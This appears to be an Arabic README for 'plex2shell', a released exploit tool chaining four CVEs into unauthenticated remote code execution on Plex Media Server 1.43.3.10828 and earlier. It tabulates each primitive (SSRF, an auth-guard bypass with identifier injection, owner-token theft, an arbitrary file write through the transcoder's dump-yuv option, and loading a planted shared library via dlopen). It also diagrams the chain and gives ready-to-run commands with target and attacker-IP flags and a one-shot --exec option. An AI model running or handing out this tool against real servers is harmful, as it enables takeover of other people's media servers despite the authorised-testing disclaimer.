
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
سلسلة RCE غير مصادَق عليها لـ Plex Media Server 1.43.3.10828 والإصدارات الأقدم.
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
الشرح التفصيلي: https://zmain.info/blog/plex2shell
تُنشر هذه الأداة لأغراض اختبار الأمان المصرَّح به، والبحث الأكاديمي، والأغراض الدفاعية فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها. المؤلفون غير مسؤولين عن سوء الاستخدام أو الأضرار التي تسببها هذه الأداة. الوصول غير المصرَّح به إلى أنظمة الحاسوب غير قانوني.
| CVE | البدائية |
|---|---|
| CVE-2026-96652 | SSRF غير مصادَق عليها عبر /player/timeline protocol= |
| CVE-2026-96654 | محور الاسترجاع: حارس مصادقة معطّل + حقن searchOne identifier= |
| CVE-2026-96655 | SSRF في الناسخ المُصادَق عليه بصفة المالك + كتابة ملف بمسار عشوائي (dump-yuv) |
| CVE-2026-96656 | تنفيذ شيفرة عبر dlopen لترميز غير موقَّع في مجموعة Codecs set-dir |
[الإنترنت المكشوف، رمز غير صالح]
|
(1) /player/timeline --- SSRF ---> أصل الاسترجاع
|
(2) /system/agents/.../searchOne --- حقن identifier= --->
| RPC عبر الإضافات
|
(3) networking.py:149 --- التباس بادئة 127.0.0.1.* --->
| استخراج رمز مسؤول المالك
v
المهاجم يملك رمز مسؤول المالك
|
(4) /video/:/transcode/universal?path=<url> --- SSRF في الناسخ --->
| جلب وسائط المهاجم
|
(5) TranscoderH264Options=dump-yuv --- x264 يكتب ملف ELF الخاص بالمهاجم
| في مجموعة Codecs set-dir
v
نسخ ثانٍ -> dlopen() لكل *.so -> تشغيل المُنشئ
v
[uid=1000(plex)]
الحمولة هي إضاءة الإطار 0 (luma) لحامل بلا فقدان (qp=0) يقوم
ffmpeg، gcc (أو x86_64-w64-mingw32-gcc لأهداف Windows)# Linux native (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# One-shot:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
--help لكل ما تبقى.
GPLv3